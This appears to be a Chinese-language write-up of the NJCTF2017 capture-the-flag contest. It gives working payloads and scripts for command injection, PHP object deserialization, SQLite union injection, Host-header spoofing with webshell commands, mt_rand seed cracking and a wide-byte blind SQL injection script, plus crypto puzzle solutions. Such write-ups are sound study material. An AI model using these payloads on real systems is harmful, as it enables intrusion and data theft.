NJCTF2017

NJCTF题目还是不错的,虽然很多都没做出来,总结总结慢慢积累

Web

Login

打开发现让登录,右下可以注册,直接想到去年ISCC的mysql超长字符串截取,注册admin q,由于mysql只截取前十六位所以直接用admin就能登陆获取flag。

Get Flag

一个输入框可以查询图片信息,随便输入一个发现

base64解码之后发现是cat: images/....: No such file or directory发现了一个cat想到是linux命令但是也没深入去想然后傻仔告诉我是命令执行,尝试利用管道命令||发现返回

说明过滤掉了||,然后告诉我说用&进行命令执行各种分隔符之间的区别
payload:& cd ../../ && ls,& cd ../../ && cat 9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag

Text wall

一个留言墙发现可以随便留言,最开始想的是XSS但是发现并没有什么卵用,通过查看cookies:24c5889e00902d6bcc65073f0e91ea30bbe203c2a:1:{i:0;s:9:"hiehiehie";}发现是PHP序列化,将a:1:{i:0;s:9:"hiehiehie";}SHA1加密后正是前面的内容,然后就没头绪了,学长说在.index.php.swo下有源码,还是知识太少,获得源码

1
2
3
4
5
6
7
8
9
10
<?php
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
........
?>

highlight_file : 语法高亮一个文件

得到源码那么就构造PHP序列化然后通过他的__toString方法去读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
}
}
$a = new filelist;
$a->source = 'index.php';
$d = serialize([$a]);
$b = sha1($d).$d;
echo urlencode($b);
?>


得到源码知道flag的位置那么

1
$a->source = '/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g';

得到flagPHP序列化

SHA1加密与MD5

MD5加密后共32位,SHA1加密后共40位都由1-9,a-f组成

源码泄露

目前所知道的有:

  • index.php.bak : 备份文件源码泄露
  • .index.php.swp : vim异常退出源码泄露
  • .index.php.swo : 交换文件源码泄露
  • index.php~ : linux临时文件源码泄露
  • www.zip : 压缩包源码泄露
  • git源码泄露

Wallet

扫描发现有www.zip压缩包源码泄露,然后得到hint:压缩包密码为弱口令,然后就弱智的在那爆破,后来大师傅说就是njctf2017,很难受,宛如一个智障。

打开发现是PHPjm加密PHPjm解密得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
require_once "db.php";
$auth = 0;
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else {
if (sha1((string) $hsh) == md5((string) $auth)) {
$auth = 1;
} else {
$auth = 0;
}
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string) $s));
}
if ($auth) {
if (isset($_GET['query'])) {
$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
$qstr = SQLITE3::escapeString($_GET['query']);
$query = "SELECT amount FROM my_wallets WHERE id={$qstr}";
$result = $db->querySingle($query);
if (!$result === NULL) {
echo "Error - invalid query";
} else {
echo "Wallet contains: {$result}";
}
} else {
echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
}
} else {
echo "Sorry, not authorized.";
}

存在一个sha1((string) $hsh) == md5((string) $auth)想到用0e去突破限制auth:240610708 == hsh:aaroZmOk然后就是一个sqlite数据库的sql注入,由于只接触了mysql数据库的语句,直接附上大佬的payload:

爆表:http://218.2.197.235:23723/admin.php?query=1 union SELECT tbl_name FROM sqlite_master limit 1,1
爆字段:http://218.2.197.235:23723/admin.php?query=1 union SELECT sql FROM sqlite_master limit 2,1
爆内容:http://218.2.197.235:23723/admin.php?query=1 union SELECT id FROM flag limit 1,1

pictures wall

随便输入就能登陆,然后提示只有root才有上传权限 在upload/1.tar.gz下发现源码,在login.php发现

1
2
3
$ip = $_SERVER['HTTP_HOST'];
if($ip == "::1" || $ip == "127.0.0.1"){
$_SESSION["token"] = "0";

在登录时修改host头为127.0.0.1成功获取root权限,查看upload.php发现,可以上传phtml与phps。

直接上传一句话发现只是打印出来并没有解析,那么就构造

得到文件地址:
payload:

i=echo `ls ../../`;
i=echo `cat /var/www/AOvU7WJDRTxn1tv2g56SJLpJK1l7EmBi_thi5_flag`;

Guess

在上传时发现http://218.2.197.235:23735/?page=upload觉得存在文件包含漏洞,利用php的filter流尝试一下得到源码http://218.2.197.235:23735/?page=php://filter/convert.base64-encode/resource=upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
function show_error_message($message)
function show_message($message)
function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
return $str;
}
session_start();
$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {
$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);
if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));
if ($check2) show_error_message("Nope!");
if ($check1) {
$filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>

可以看到是对文件做了一个白名单限制,然后在原文件名前加了随机字符串,爆破是不可能爆破的,因为有32^61种可能,注意到random_str是通过下面mt_rand()进行随机数的生成

1
2
3
4
5
$seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600);

我们通过使session为空,使得生成的md5为纯数字,将md5放到网上查询发现需要付费,那么就自己写一段代码爆破一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib
c = '90369fd9718fd781f4b61b8cc5a1c991'
i=0
while (i<999999999):
a = str(i)
b = hashlib.md5(a)
d = str(b.hexdigest())
if (d == c):
print a
print d
break
else:
i=i+1

跑了二十分钟才跑出来为664794591,看write up说用到这样一个工具一个c语言写的求seed的工具,刚开始不会用,原来在linux下可以直接gcc编译然后运行:

然后直接用加密代码得到文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$seed=451382085;
mt_srand($seed);
$ss = mt_rand();
$str="";
for ($i = 1; $i <= 32; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
echo $str;
?>

利用phar伪协议包含ZIP文件得到shell,由于最开始大意弄成了RAR发现phar只适合ZIP格式。

Come on

拿到题目只知道是注入,一脸懵逼,看了write up才知道是宽字节布尔盲注过滤了/*、*/、and、or、mid、substr、union、>、<、空白符、ascii等敏感词,使用括号代替空格,使用left/right函数结合以代替substr()和mid()的方式进行注入,且此查询默认不区分大小写,需要使用binary()附上NSIS大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# encoding: utf-8
import requests
from urllib import quote
url = "http://218.2.197.235:23733/index.php?key="
payload = "\xc0'||(select(binary(flag))from(flag))like(0x%s)#"
def check(str):
u = url + quote(payload%(str.encode("hex")))
ret = requests.get(u).content
return '002265' in ret
ans = ""
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
while True:
print ans
for i in s:
if check(ans + i + '%'):
ans += i
break

Chall I

查看源代码发现<!--a(href='/admin') admin-->打开/admin页面,要求输入密码而且会返回密码的md5值,到这就懵逼了,看了NeSE的write up才知道考的是一个node js的buffer漏洞。

1
buffer漏洞本质上就是传入整数会导致内存泄露,由于对输入有一个md5加密,那么就找个一个md5加密之后是整数的值

1518375就是一个md5后纯整数的值,提交之后出现内存泄露,多提交几次泄露出flag

Chall II

github有源码通过I的flag修改app的secret_key,然后以admin登录获取session与session.sign然后带着这两个Cookie去访问题目得到flag,国外的一个题目差不多原题https://www.smrrd.de/nodejs-hacking-challenge-writeup.html

MISC

konck

1
2
...._....._.._...._..._....._...._..._..._...._...._......._._...._....._.._...._..._..._...._...._..._..._...._.._..._......._..................
zjqz hexjz mo oqrs sai daiyn lebn zjo vos ltah zjer horrqxo e iron lobdo za voou zjo vos qfqs ltah mqn qrr joto er zjo horrqxo ebooqydrztyqqojolx

最开始一直以为上面的是摩斯密码,后来才知道是与下面的一一对照,是一个单表替换加栅栏解密利用quipqiup解密得到that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message ineealcstrlaaehefg,提示说flag就在后面的字母里面,栅栏一下得到icanseetherealflag

easy_crypto

就是根据已有的加密代码跟明文与密文爆破出key然后得到key对flag.txt进行解密得到flag。
源程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
if (argc != 3) {
printf("USAGE: %s input_file output_file\n", argv[0]);
return 0;
}
FILE* input_file = fopen(argv[1], "rb");
FILE* output_file = fopen(argv[2], "wb");
if (!input_file || !output_file) {
printf("Error\n");
return 0;
}
char key[] = "XXXXXXXXXXXX";
char p, t, c = 0;
int i = 0;
while ((p = fgetc(input_file)) != EOF) {
c = ((key[i % strlen(key)] ^ t) + (p-t) + i*i ) & 0xff;
t = p;
i++;
fputc(c, output_file);
}
return 0;
}

爆破key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
flag=open('cipher.txt','rb')
cipher=open('plain.txt','rb')
cipher_=cipher.read()
flag_=flag.read()
p=0
t=0
x=[]
z=''
for i in range(0,len(flag_)):
p=ord(cipher_[i])
c=(ord(flag_[i])-(p-t)-i*i)&0xff^t
t=p
z=z+chr(c)
print z

解密flag:

1
2
3
4
5
6
7
8
9
10
11
12
g=open('flag.txt','rb').read()
key='OKIWILLLETYOUKNOWWHATTHEKEYIS'
c = ''
t = chr(0)
i = 0
x=''
for p in g:
c = chr(ord(p)+ord(t) - i*i - (ord(key[i % len(key)]) ^ ord(t)) & 0xff)
t = c
i += 1
x+=c
print x